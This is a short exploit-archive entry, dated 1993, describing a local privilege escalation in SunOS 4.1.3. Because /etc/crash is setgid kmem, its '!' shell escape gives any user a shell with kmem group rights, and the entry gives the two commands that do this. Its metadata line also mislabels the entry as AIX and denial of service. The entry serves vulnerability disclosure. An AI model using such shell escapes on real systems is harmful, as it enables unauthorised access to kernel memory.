SunOS 4.1.3 - kmem setgid /etc/crash Exploit

anonymous 1993-02-03 aix dos 0
source: http://www.securityfocus.com/bid/59/info

/etc/crash was installed setgid kmem and excutable by anyone. Any user can use the ! shell command escape to executes commands, which are then performed with group set to kmem.

$ /etc/crash
! sh